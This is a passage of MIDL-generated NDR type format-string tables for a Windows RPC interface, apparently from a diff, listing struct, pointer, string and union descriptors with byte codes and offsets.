*/ NdrFcShort( 0x28 ), /* Offset= 40 (502) */ +/* 464 */ + 0x1b, /* FC_CARRAY */ + 0x0, /* 0 */ +/* 466 */ NdrFcShort( 0x1 ), /* 1 */ +/* 468 */ 0x18, /* Corr desc: field pointer, FC_LONG */ + 0x0, /* */ +/* 470 */ NdrFcShort( 0x14 ), /* 20 */ +/* 472 */ NdrFcShort( 0x1 ), /* Corr flags: early, */ +/* 474 */ 0x2, /* FC_CHAR */ + 0x5b, /* FC_END */ +/* 476 */ + 0x1a, /* FC_BOGUS_STRUCT */ + 0x3, /* 3 */ +/* 478 */ NdrFcShort( 0x20 ), /* 32 */ +/* 480 */ NdrFcShort( 0x0 ), /* 0 */ +/* 482 */ NdrFcShort( 0x8 ), /* Offset= 8 (490) */ +/* 484 */ 0x36, /* FC_POINTER */ + 0x36, /* FC_POINTER */ +/* 486 */ 0x8, /* FC_LONG */ + 0x8, /* FC_LONG */ +/* 488 */ 0x36, /* FC_POINTER */ + 0x5b, /* FC_END */ +/* 490 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 492 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 494 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 496 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 498 */ + 0x12, 0x20, /* FC_UP [maybenull_sizeis] */ +/* 500 */ NdrFcShort( 0xffdc ), /* Offset= -36 (464) */ +/* 502 */ + 0x1a, /* FC_BOGUS_STRUCT */ + 0x7, /* 7 */ +/* 504 */ NdrFcShort( 0x70 ), /* 112 */ +/* 506 */ NdrFcShort( 0x0 ), /* 0 */ +/* 508 */ NdrFcShort( 0xe ), /* Offset= 14 (522) */ +/* 510 */ 0x8, /* FC_LONG */ + 0x40, /* FC_STRUCTPAD4 */ +/* 512 */ 0x36, /* FC_POINTER */ + 0x4c, /* FC_EMBEDDED_COMPLEX */ +/* 514 */ 0x0, /* 0 */ + NdrFcShort( 0xfe37 ), /* Offset= -457 (58) */ + 0x4c, /* FC_EMBEDDED_COMPLEX */ +/* 518 */ 0x0, /* 0 */ + NdrFcShort( 0xfe21 ), /* Offset= -479 (40) */ + 0x5b, /* FC_END */ +/* 522 */ + 0x12, 0x0, /* FC_UP */ +/* 524 */ NdrFcShort( 0xffd0 ), /* Offset= -48 (476) */ +/* 526 */ + 0x12, 0x0, /* FC_UP */ +/* 528 */ NdrFcShort( 0x2 ), /* Offset= 2 (530) */ +/* 530 */ + 0x1a, /* FC_BOGUS_STRUCT */ + 0x7, /* 7 */ +/* 532 */ NdrFcShort( 0x18 ), /* 24 */ +/* 534 */ NdrFcShort( 0x0 ), /* 0 */ +/* 536 */ NdrFcShort( 0x8 ), /* Offset= 8 (544) */ +/* 538 */ 0xb, /* FC_HYPER */ + 0x8, /* FC_LONG */ +/* 540 */ 0x8, /* FC_LONG */ + 0x36, /* FC_POINTER */ +/* 542 */ 0x5c, /* FC_PAD */ + 0x5b, /* FC_END */ +/* 544 */ + 0x12, 0x0, /* FC_UP */ +/* 546 */ NdrFcShort( 0xffba ), /* Offset= -70 (476) */ +/* 548 */ + 0x12, 0x0, /* FC_UP */ +/* 550 */ NdrFcShort( 0x2 ), /* Offset= 2 (552) */ +/* 552 */ + 0x1a, /* FC_BOGUS_STRUCT */ + 0x3, /* 3 */ +/* 554 */ NdrFcShort( 0x10 ), /* 16 */ +/* 556 */ NdrFcShort( 0x0 ), /* 0 */ +/* 558 */ NdrFcShort( 0x6 ), /* Offset= 6 (564) */ +/* 560 */ 0x36, /* FC_POINTER */ + 0x36, /* FC_POINTER */ +/* 562 */ 0x5c, /* FC_PAD */ + 0x5b, /* FC_END */ +/* 564 */ + 0x12, 0x0, /* FC_UP */ +/* 566 */ NdrFcShort( 0xffa6 ), /* Offset= -90 (476) */ +/* 568 */ + 0x12, 0x0, /* FC_UP */ +/* 570 */ NdrFcShort( 0xffa2 ), /* Offset= -94 (476) */ +/* 572 */ + 0x12, 0x0, /* FC_UP */ +/* 574 */ NdrFcShort( 0x2 ), /* Offset= 2 (576) */ +/* 576 */ + 0x1a, /* FC_BOGUS_STRUCT */ + 0x7, /* 7 */ +/* 578 */ NdrFcShort( 0x18 ), /* 24 */ +/* 580 */ NdrFcShort( 0x0 ), /* 0 */ +/* 582 */ NdrFcShort( 0x0 ), /* Offset= 0 (582) */ +/* 584 */ 0xb, /* FC_HYPER */ + 0x8, /* FC_LONG */ +/* 586 */ 0x8, /* FC_LONG */ + 0x8, /* FC_LONG */ +/* 588 */ 0x40, /* FC_STRUCTPAD4 */ + 0x5b, /* FC_END */ +/* 590 */ + 0x12, 0x0, /* FC_UP */ +/* 592 */ NdrFcShort( 0x2 ), /* Offset= 2 (594) */ +/* 594 */ + 0x1a, /* FC_BOGUS_STRUCT */ + 0x3, /* 3 */ +/* 596 */ NdrFcShort( 0x20 ), /* 32 */ +/* 598 */ NdrFcShort( 0x0 ), /* 0 */ +/* 600 */ NdrFcShort( 0xa ), /* Offset= 10 (610) */ +/* 602 */ 0x8, /* FC_LONG */ + 0x8, /* FC_LONG */ +/* 604 */ 0x8, /* FC_LONG */ + 0x8, /* FC_LONG */ +/* 606 */ 0x8, /* FC_LONG */ + 0x40, /* FC_STRUCTPAD4 */ +/* 608 */ 0x36, /* FC_POINTER */ + 0x5b, /* FC_END */ +/* 610 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 612 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 614 */ + 0x12, 0x0, /* FC_UP */ +/* 616 */ NdrFcShort( 0xe ), /* Offset= 14 (630) */ +/* 618 */ + 0x1b, /* FC_CARRAY */ + 0x0, /* 0 */ +/* 620 */ NdrFcShort( 0x1 ), /* 1 */ +/* 622 */ 0x18, /* Corr desc: field pointer, FC_LONG */ + 0x0, /* */ +/* 624 */ NdrFcShort( 0x0 ), /* 0 */ +/* 626 */ NdrFcShort( 0x1 ), /* Corr flags: early, */ +/* 628 */ 0x2, /* FC_CHAR */ + 0x5b, /* FC_END */ +/* 630 */ + 0x1a, /* FC_BOGUS_STRUCT */ + 0x3, /* 3 */ +/* 632 */ NdrFcShort( 0x10 ), /* 16 */ +/* 634 */ NdrFcShort( 0x0 ), /* 0 */ +/* 636 */ NdrFcShort( 0x6 ), /* Offset= 6 (642) */ +/* 638 */ 0x8, /* FC_LONG */ + 0x40, /* FC_STRUCTPAD4 */ +/* 640 */ 0x36, /* FC_POINTER */ + 0x5b, /* FC_END */ +/* 642 */ + 0x12, 0x20, /* FC_UP [maybenull_sizeis] */ +/* 644 */ NdrFcShort( 0xffe6 ), /* Offset= -26 (618) */ +/* 646 */ + 0x12, 0x0, /* FC_UP */ +/* 648 */ NdrFcShort( 0x1a ), /* Offset= 26 (674) */ +/* 650 */ + 0x1b, /* FC_CARRAY */ + 0x0, /* 0 */ +/* 652 */ NdrFcShort( 0x1 ), /* 1 */ +/* 654 */ 0x18, /* Corr desc: field pointer, FC_LONG */ + 0x0, /* */ +/* 656 */ NdrFcShort( 0xc ), /* 12 */ +/* 658 */ NdrFcShort( 0x1 ), /* Corr flags: early, */ +/* 660 */ 0x2, /* FC_CHAR */ + 0x5b, /* FC_END */ +/* 662 */ + 0x1b, /* FC_CARRAY */ + 0x0, /* 0 */ +/* 664 */ NdrFcShort( 0x1 ), /* 1 */ +/* 666 */ 0x18, /* Corr desc: field pointer, FC_LONG */ + 0x0, /* */ +/* 668 */ NdrFcShort( 0x18 ), /* 24 */ +/* 670 */ NdrFcShort( 0x1 ), /* Corr flags: early, */ +/* 672 */ 0x2, /* FC_CHAR */ + 0x5b, /* FC_END */ +/* 674 */ + 0x1a, /* FC_BOGUS_STRUCT */ + 0x3, /* 3 */ +/* 676 */ NdrFcShort( 0x28 ), /* 40 */ +/* 678 */ NdrFcShort( 0x0 ), /* 0 */ +/* 680 */ NdrFcShort( 0xa ), /* Offset= 10 (690) */ +/* 682 */ 0x36, /* FC_POINTER */ + 0x8, /* FC_LONG */ +/* 684 */ 0x8, /* FC_LONG */ + 0x36, /* FC_POINTER */ +/* 686 */ 0x8, /* FC_LONG */ + 0x40, /* FC_STRUCTPAD4 */ +/* 688 */ 0x36, /* FC_POINTER */ + 0x5b, /* FC_END */ +/* 690 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 692 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 694 */ + 0x12, 0x20, /* FC_UP [maybenull_sizeis] */ +/* 696 */ NdrFcShort( 0xffd2 ), /* Offset= -46 (650) */ +/* 698 */ + 0x12, 0x20, /* FC_UP [maybenull_sizeis] */ +/* 700 */ NdrFcShort( 0xffda ), /* Offset= -38 (662) */ +/* 702 */ + 0x12, 0x0, /* FC_UP */ +/* 704 */ NdrFcShort( 0x2 ), /* Offset= 2 (706) */ +/* 706 */ + 0x1a, /* FC_BOGUS_STRUCT */ + 0x7, /* 7 */ +/* 708 */ NdrFcShort( 0x38 ), /* 56 */ +/* 710 */ NdrFcShort( 0x0 ), /* 0 */ +/* 712 */ NdrFcShort( 0x10 ), /* Offset= 16 (728) */ +/* 714 */ 0x8, /* FC_LONG */ + 0x8, /* FC_LONG */ +/* 716 */ 0x36, /* FC_POINTER */ + 0x4c, /* FC_EMBEDDED_COMPLEX */ +/* 718 */ 0x0, /* 0 */ + NdrFcShort( 0xfd4d ), /* Offset= -691 (28) */ + 0x8, /* FC_LONG */ +/* 722 */ 0x40, /* FC_STRUCTPAD4 */ + 0x36, /* FC_POINTER */ +/* 724 */ 0x36, /* FC_POINTER */ + 0x8, /* FC_LONG */ +/* 726 */ 0x40, /* FC_STRUCTPAD4 */ + 0x5b, /* FC_END */ +/* 728 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 730 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 732 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 734 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 736 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 738 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 740 */ + 0x12, 0x0, /* FC_UP */ +/* 742 */ NdrFcShort( 0xe ), /* Offset= 14 (756) */ +/* 744 */ + 0x1b, /* FC_CARRAY */ + 0x0, /* 0 */ +/* 746 */ NdrFcShort( 0x1 ), /* 1 */ +/* 748 */ 0x18, /* Corr desc: field pointer, FC_LONG */ + 0x0, /* */ +/* 750 */ NdrFcShort( 0x4 ), /* 4 */ +/* 752 */ NdrFcShort( 0x1 ), /* Corr flags: early, */ +/* 754 */ 0x2, /* FC_CHAR */ + 0x5b, /* FC_END */ +/* 756 */ + 0x1a, /* FC_BOGUS_STRUCT */ + 0x3, /* 3 */ +/* 758 */ NdrFcShort( 0x10 ), /* 16 */ +/* 760 */ NdrFcShort( 0x0 ), /* 0 */ +/* 762 */ NdrFcShort( 0x6 ), /* Offset= 6 (768) */ +/* 764 */ 0x8, /* FC_LONG */ + 0x8, /* FC_LONG */ +/* 766 */ 0x36, /* FC_POINTER */ + 0x5b, /* FC_END */ +/* 768 */ + 0x12, 0x20, /* FC_UP [maybenull_sizeis] */ +/* 770 */ NdrFcShort( 0xffe6 ), /* Offset= -26 (744) */ +/* 772 */ + 0x12, 0x0, /* FC_UP */ +/* 774 */ NdrFcShort( 0xfd78 ), /* Offset= -648 (126) */ +/* 776 */ + 0x12, 0x0, /* FC_UP */ +/* 778 */ NdrFcShort( 0x2 ), /* Offset= 2 (780) */ +/* 780 */ + 0x15, /* FC_STRUCT */ + 0x3, /* 3 */ +/* 782 */ NdrFcShort( 0x18 ), /* 24 */ +/* 784 */ 0x4c, /* FC_EMBEDDED_COMPLEX */ + 0x0, /* 0 */ +/* 786 */ NdrFcShort( 0xfd6c ), /* Offset= -660 (126) */ +/* 788 */ 0x4c, /* FC_EMBEDDED_COMPLEX */ + 0x0, /* 0 */ +/* 790 */ NdrFcShort( 0xfd68 ), /* Offset= -664 (126) */ +/* 792 */ 0x8, /* FC_LONG */ + 0x8, /* FC_LONG */ +/* 794 */ 0x5c, /* FC_PAD */ + 0x5b, /* FC_END */ +/* 796 */ + 0x12, 0x0, /* FC_UP */ +/* 798 */ NdrFcShort( 0x2 ), /* Offset= 2 (800) */ +/* 800 */ + 0x1a, /* FC_BOGUS_STRUCT */ + 0x3, /* 3 */ +/* 802 */ NdrFcShort( 0x10 ), /* 16 */ +/* 804 */ NdrFcShort( 0x0 ), /* 0 */ +/* 806 */ NdrFcShort( 0x6 ), /* Offset= 6 (812) */ +/* 808 */ 0x8, /* FC_LONG */ + 0x40, /* FC_STRUCTPAD4 */ +/* 810 */ 0x36, /* FC_POINTER */ + 0x5b, /* FC_END */ +/* 812 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 814 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 816 */ + 0x12, 0x0, /* FC_UP */ +/* 818 */ NdrFcShort( 0x2 ), /* Offset= 2 (820) */ +/* 820 */ + 0x1a, /* FC_BOGUS_STRUCT */ + 0x3, /* 3 */ +/* 822 */ NdrFcShort( 0x10 ), /* 16 */ +/* 824 */ NdrFcShort( 0x0 ), /* 0 */ +/* 826 */ NdrFcShort( 0x6 ), /* Offset= 6 (832) */ +/* 828 */ 0x36, /* FC_POINTER */ + 0x8, /* FC_LONG */ +/* 830 */ 0x40, /* FC_STRUCTPAD4 */ + 0x5b, /* FC_END */ +/* 832 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 834 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 836 */ + 0x12, 0x0, /* FC_UP */ +/* 838 */ NdrFcShort( 0x2 ), /* Offset= 2 (840) */ +/* 840 */ 0xb1, /* FC_FORCED_BOGUS_STRUCT */ + 0x7, /* 7 */ +/* 842 */ NdrFcShort( 0x10 ), /* 16 */ +/* 844 */ NdrFcShort( 0x0 ), /* 0 */ +/* 846 */ NdrFcShort( 0x0 ), /* Offset= 0 (846) */ +/* 848 */ 0x8, /* FC_LONG */ + 0x40, /* FC_STRUCTPAD4 */ +/* 850 */ 0xb, /* FC_HYPER */ + 0x5b, /* FC_END */ +/* 852 */ + 0x12, 0x0, /* FC_UP */ +/* 854 */ NdrFcShort( 0x2 ), /* Offset= 2 (856) */ +/* 856 */ + 0x1a, /* FC_BOGUS_STRUCT */ + 0x3, /* 3 */ +/* 858 */ NdrFcShort( 0x20 ), /* 32 */ +/* 860 */ NdrFcShort( 0x0 ), /* 0 */ +/* 862 */ NdrFcShort( 0xa ), /* Offset= 10 (872) */ +/* 864 */ 0x8, /* FC_LONG */ + 0x40, /* FC_STRUCTPAD4 */ +/* 866 */ 0x36, /* FC_POINTER */ + 0x36, /* FC_POINTER */ +/* 868 */ 0x8, /* FC_LONG */ + 0x40, /* FC_STRUCTPAD4 */ +/* 870 */ 0x5c, /* FC_PAD */ + 0x5b, /* FC_END */ +/* 872 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 874 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 876 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 878 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 880 */ + 0x12, 0x0, /* FC_UP */ +/* 882 */ NdrFcShort( 0x2 ), /* Offset= 2 (884) */ +/* 884 */ + 0x1a, /* FC_BOGUS_STRUCT */ + 0x3, /* 3 */ +/* 886 */ NdrFcShort( 0x28 ), /* 40 */ +/* 888 */ NdrFcShort( 0x0 ), /* 0 */ +/* 890 */ NdrFcShort( 0xa ), /* Offset= 10 (900) */ +/* 892 */ 0x8, /* FC_LONG */ + 0x40, /* FC_STRUCTPAD4 */ +/* 894 */ 0x36, /* FC_POINTER */ + 0x36, /* FC_POINTER */ +/* 896 */ 0x36, /* FC_POINTER */ + 0x8, /* FC_LONG */ +/* 898 */ 0x40, /* FC_STRUCTPAD4 */ + 0x5b, /* FC_END */ +/* 900 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 902 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 904 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 906 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 908 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 910 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 912 */ + 0x12, 0x0, /* FC_UP */ +/* 914 */ NdrFcShort( 0x28 ), /* Offset= 40 (954) */ +/* 916 */ + 0x1a, /* FC_BOGUS_STRUCT */ + 0x3, /* 3 */ +/* 918 */ NdrFcShort( 0x10 ), /* 16 */ +/* 920 */ NdrFcShort( 0x0 ), /* 0 */ +/* 922 */ NdrFcShort( 0x6 ), /* Offset= 6 (928) */ +/* 924 */ 0x8, /* FC_LONG */ + 0x8, /* FC_LONG */ +/* 926 */ 0x36, /* FC_POINTER */ + 0x5b, /* FC_END */ +/* 928 */ + 0x12, 0x20, /* FC_UP [maybenull_sizeis] */ +/* 930 */ NdrFcShort( 0xff46 ), /* Offset= -186 (744) */ +/* 932 */ + 0x21, /* FC_BOGUS_ARRAY */ + 0x3, /* 3 */ +/* 934 */ NdrFcShort( 0x0 ), /* 0 */ +/* 936 */ 0x18, /* Corr desc: field pointer, FC_LONG */ + 0x0, /* */ +/* 938 */ NdrFcShort( 0x0 ), /* 0 */ +/* 940 */ NdrFcShort( 0x1 ), /* Corr flags: early, */ +/* 942 */ NdrFcLong( 0xffffffff ), /* -1 */ +/* 946 */ NdrFcShort( 0x0 ), /* Corr flags: */ +/* 948 */ 0x4c, /* FC_EMBEDDED_COMPLEX */ + 0x0, /* 0 */ +/* 950 */ NdrFcShort( 0xffde ), /* Offset= -34 (916) */ +/* 952 */ 0x5c, /* FC_PAD */ + 0x5b, /* FC_END */ +/* 954 */ + 0x1a, /* FC_BOGUS_STRUCT */ + 0x3, /* 3 */ +/* 956 */ NdrFcShort( 0x10 ), /* 16 */ +/* 958 */ NdrFcShort( 0x0 ), /* 0 */ +/* 960 */ NdrFcShort( 0x6 ), /* Offset= 6 (966) */ +/* 962 */ 0x8, /* FC_LONG */ + 0x40, /* FC_STRUCTPAD4 */ +/* 964 */ 0x36, /* FC_POINTER */ + 0x5b, /* FC_END */ +/* 966 */ + 0x12, 0x20, /* FC_UP [maybenull_sizeis] */ +/* 968 */ NdrFcShort( 0xffdc ), /* Offset= -36 (932) */ +/* 970 */ + 0x1a, /* FC_BOGUS_STRUCT */ + 0x7, /* 7 */ +/* 972 */ NdrFcShort( 0x20 ), /* 32 */ +/* 974 */ NdrFcShort( 0x0 ), /* 0 */ +/* 976 */ NdrFcShort( 0x0 ), /* Offset= 0 (976) */ +/* 978 */ 0x8, /* FC_LONG */ + 0x8, /* FC_LONG */ +/* 980 */ 0x4c, /* FC_EMBEDDED_COMPLEX */ + 0x0, /* 0 */ +/* 982 */ NdrFcShort( 0xfc46 ), /* Offset= -954 (28) */ +/* 984 */ 0x8, /* FC_LONG */ + 0x40, /* FC_STRUCTPAD4 */ +/* 986 */ 0x4c, /* FC_EMBEDDED_COMPLEX */ + 0x0, /* 0 */ +/* 988 */ NdrFcShort( 0xfcf8 ), /* Offset= -776 (212) */ +/* 990 */ 0x5c, /* FC_PAD */ + 0x5b, /* FC_END */ +/* 992 */ + 0x12, 0x20, /* FC_UP [maybenull_sizeis] */ +/* 994 */ NdrFcShort( 0x2 ), /* Offset= 2 (996) */ +/* 996 */ + 0x21, /* FC_BOGUS_ARRAY */ + 0x3, /* 3 */ +/* 998 */ NdrFcShort( 0x0 ), /* 0 */ +/* 1000 */ 0x28, /* Corr desc: parameter, FC_LONG */ + 0x0, /* */ +/* 1002 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 1004 */ NdrFcShort( 0x1 ), /* Corr flags: early, */ +/* 1006 */ NdrFcLong( 0xffffffff ), /* -1 */ +/* 1010 */ NdrFcShort( 0x0 ), /* Corr flags: */ +/* 1012 */ 0x4c, /* FC_EMBEDDED_COMPLEX */ + 0x0, /* 0 */ +/* 1014 */ NdrFcShort( 0xfde6 ), /* Offset= -538 (476) */ +/* 1016 */ 0x5c, /* FC_PAD */ + 0x5b, /* FC_END */ +/* 1018 */ + 0x11, 0x0, /* FC_RP */ +/* 1020 */ NdrFcShort( 0xfc52 ), /* Offset= -942 (78) */ +/* 1022 */ + 0x11, 0x4, /* FC_RP [alloced_on_stack] */ +/* 1024 */ NdrFcShort( 0x2 ), /* Offset= 2 (1026) */ +/* 1026 */ 0x30, /* FC_BIND_CONTEXT */ + 0xa0, /* Ctxt flags: via ptr, out, */ +/* 1028 */ 0x0, /* 0 */ + 0x1, /* 1 */ +/* 1030 */ + 0x11, 0x14, /* FC_RP [alloced_on_stack] [pointer_deref] */ +/* 1032 */ NdrFcShort( 0x2 ), /* Offset= 2 (1034) */ +/* 1034 */ + 0x12, 0x0, /* FC_UP */ +/* 1036 */ NdrFcShort( 0xac ), /* Offset= 172 (1208) */ +/* 1038 */ + 0x1d, /* FC_SMFARRAY */ + 0x3, /* 3 */ +/* 1040 */ NdrFcShort( 0x18 ), /* 24 */ +/* 1042 */ 0x8, /* FC_LONG */ + 0x5b, /* FC_END */ +/* 1044 */ + 0x2b, /* FC_NON_ENCAPSULATED_UNION */ + 0x8, /* FC_LONG */ +/* 1046 */ 0x8, /* Corr desc: FC_LONG */ + 0x0, /* */ +/* 1048 */ NdrFcShort( 0xff98 ), /* -104 */ +/* 1050 */ NdrFcShort( 0x1 ), /* Corr flags: early, */ +/* 1052 */ NdrFcShort( 0x2 ), /* Offset= 2 (1054) */ +/* 1054 */ NdrFcShort( 0x8 ), /* 8 */ +/* 1056 */ NdrFcShort( 0x5 ), /* 5 */ +/* 1058 */ NdrFcLong( 0x0 ), /* 0 */ +/* 1062 */ NdrFcShort( 0xfd92 ), /* Offset= -622 (440) */ +/* 1064 */ NdrFcLong( 0x1 ), /* 1 */ +/* 1068 */ NdrFcShort( 0x16 ), /* Offset= 22 (1090) */ +/* 1070 */ NdrFcLong( 0x2 ), /* 2 */ +/* 1074 */ NdrFcShort( 0xfd86 ), /* Offset= -634 (440) */ +/* 1076 */ NdrFcLong( 0x3 ), /* 3 */ +/* 1080 */ NdrFcShort( 0xfd80 ), /* Offset= -640 (440) */ +/* 1082 */ NdrFcLong( 0x4 ), /* 4 */ +/* 1086 */ NdrFcShort( 0x2a ), /* Offset= 42 (1128) */ +/* 1088 */ NdrFcShort( 0xffff ), /* Offset= -1 (1087) */ +/* 1090 */ + 0x12, 0x0, /* FC_UP */ +/* 1092 */ NdrFcShort( 0x2 ), /* Offset= 2 (1094) */ +/* 1094 */ + 0x1a, /* FC_BOGUS_STRUCT */ + 0x7, /* 7 */ +/* 1096 */ NdrFcShort( 0x40 ), /* 64 */ +/* 1098 */ NdrFcShort( 0x0 ), /* 0 */ +/* 1100 */ NdrFcShort( 0x10 ), /* Offset= 16 (1116) */ +/* 1102 */ 0x4c, /* FC_EMBEDDED_COMPLEX */ + 0x0, /* 0 */ +/* 1104 */ NdrFcShort( 0xfbcc ), /* Offset= -1076 (28) */ +/* 1106 */ 0xb, /* FC_HYPER */ + 0xb, /* FC_HYPER */ +/* 1108 */ 0xb, /* FC_HYPER */ + 0x8, /* FC_LONG */ +/* 1110 */ 0x8, /* FC_LONG */ + 0x36, /* FC_POINTER */ +/* 1112 */ 0x36, /* FC_POINTER */ + 0x36, /* FC_POINTER */ +/* 1114 */ 0x5c, /* FC_PAD */ + 0x5b, /* FC_END */ +/* 1116 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 1118 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 1120 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 1122 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 1124 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 1126 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 1128 */ + 0x12, 0x0, /* FC_UP */ +/* 1130 */ NdrFcShort( 0x2 ), /* Offset= 2 (1132) */ +/* 1132 */ + 0x1a, /* FC_BOGUS_STRUCT */ + 0x3, /* 3 */ +/* 1134 */ NdrFcShort( 0x28 ), /* 40 */ +/* 1136 */ NdrFcShort( 0x0 ), /* 0 */ +/* 1138 */ NdrFcShort( 0xa ), /* Offset= 10 (1148) */ +/* 1140 */ 0x36, /* FC_POINTER */ + 0x36, /* FC_POINTER */ +/* 1142 */ 0x8, /* FC_LONG */ + 0x8, /* FC_LONG */ +/* 1144 */ 0x36, /* FC_POINTER */ + 0x36, /* FC_POINTER */ +/* 1146 */ 0x5c, /* FC_PAD */ + 0x5b, /* FC_END */ +/* 1148 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 1150 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 1152 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 1154 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 1156 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 1158 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 1160 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 1162 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 1164 */ + 0x21, /* FC_BOGUS_ARRAY */ + 0x3, /* 3 */ +/* 1166 */ NdrFcShort( 0x0 ), /* 0 */ +/* 1168 */ 0x18, /* Corr desc: field pointer, FC_LONG */ + 0x0, /* */ +/* 1170 */ NdrFcShort( 0x54 ), /* 84 */ +/* 1172 */ NdrFcShort( 0x1 ), /* Corr flags: early, */ +/* 1174 */ NdrFcLong( 0xffffffff ), /* -1 */ +/* 1178 */ NdrFcShort( 0x0 ), /* Corr flags: */ +/* 1180 */ + 0x12, 0x0, /* FC_UP */ +/* 1182 */ NdrFcShort( 0xfd3e ), /* Offset= -706 (476) */ +/* 1184 */ 0x5c, /* FC_PAD */ + 0x5b, /* FC_END */ +/* 1186 */ + 0x21, /* FC_BOGUS_ARRAY */ + 0x3, /* 3 */ +/* 1188 */ NdrFcShort( 0x0 ), /* 0 */ +/* 1190 */ 0x18, /* Corr desc: field pointer, FC_LONG */ + 0x0, /* */ +/* 1192 */ NdrFcShort( 0xe8 ), /* 232 */ +/* 1194 */ NdrFcShort( 0x1 ), /* Corr flags: early, */ +/* 1196 */ NdrFcLong( 0xffffffff ), /* -1 */ +/* 1200 */ NdrFcShort( 0x0 ), /* Corr flags: */ +/* 1202 */ + 0x12, 0x0, /* FC_UP */ +/* 1204 */ NdrFcShort( 0xfd28 ), /* Offset= -728 (476) */ +/* 1206 */ 0x5c, /* FC_PAD */ + 0x5b, /* FC_END */ +/* 1208 */ + 0x1a, /* FC_BOGUS_STRUCT */ + 0x7, /* 7 */ +/* 1210 */ NdrFcShort( 0x110 ), /* 272 */ +/* 1212 */ NdrFcShort( 0x0 ), /* 0 */ +/* 1214 */ NdrFcShort( 0x46 ), /* Offset= 70 (1284) */ +/* 1216 */ 0xb, /* FC_HYPER */ + 0x4c, /* FC_EMBEDDED_COMPLEX */ +/* 1218 */ 0x0, /* 0 */ + NdrFcShort( 0xfb4d ), /* Offset= -1203 (16) */ + 0x36, /* FC_POINTER */ +/* 1222 */ 0x8, /* FC_LONG */ + 0x8, /* FC_LONG */ +/* 1224 */ 0x8, /* FC_LONG */ + 0x8, /* FC_LONG */ +/* 1226 */ 0x8, /* FC_LONG */ + 0x8, /* FC_LONG */ +/* 1228 */ 0x8, /* FC_LONG */ + 0x4c, /* FC_EMBEDDED_COMPLEX */ +/* 1230 */ 0x0, /* 0 */ + NdrFcShort( 0xff3f ), /* Offset= -193 (1038) */ + 0x8, /* FC_LONG */ +/* 1234 */ 0x36, /* FC_POINTER */ + 0x4c, /* FC_EMBEDDED_COMPLEX */ +/* 1236 */ 0x0, /* 0 */ + NdrFcShort( 0xfb47 ), /* Offset= -1209 (28) */ + 0x8, /* FC_LONG */ +/* 1240 */ 0x8, /* FC_LONG */ + 0x4c, /* FC_EMBEDDED_COMPLEX */ +/* 1242 */ 0x0, /* 0 */ + NdrFcShort( 0xfb35 ), /* Offset= -1227 (16) */ + 0x8, /* FC_LONG */ +/* 1246 */ 0x40, /* FC_STRUCTPAD4 */ + 0x4c, /* FC_EMBEDDED_COMPLEX */ +/* 1248 */ 0x0, /* 0 */ + NdrFcShort( 0xff33 ), /* Offset= -205 (1044) */ + 0x8, /* FC_LONG */ +/* 1252 */ 0x40, /* FC_STRUCTPAD4 */ + 0x36, /* FC_POINTER */ +/* 1254 */ 0x8, /* FC_LONG */ + 0x40, /* FC_STRUCTPAD4 */ +/* 1256 */ 0x36, /* FC_POINTER */ + 0x8, /* FC_LONG */ +/* 1258 */ 0x8, /* FC_LONG */ + 0x4c, /* FC_EMBEDDED_COMPLEX */ +/* 1260 */ 0x0, /* 0 */ + NdrFcShort( 0xfb2f ), /* Offset= -1233 (28) */ + 0x8, /* FC_LONG */ +/* 1264 */ 0x40, /* FC_STRUCTPAD4 */ + 0x4c, /* FC_EMBEDDED_COMPLEX */ +/* 1266 */ 0x0, /* 0 */ + NdrFcShort( 0xfb29 ), /* Offset= -1239 (28) */ + 0x8, /* 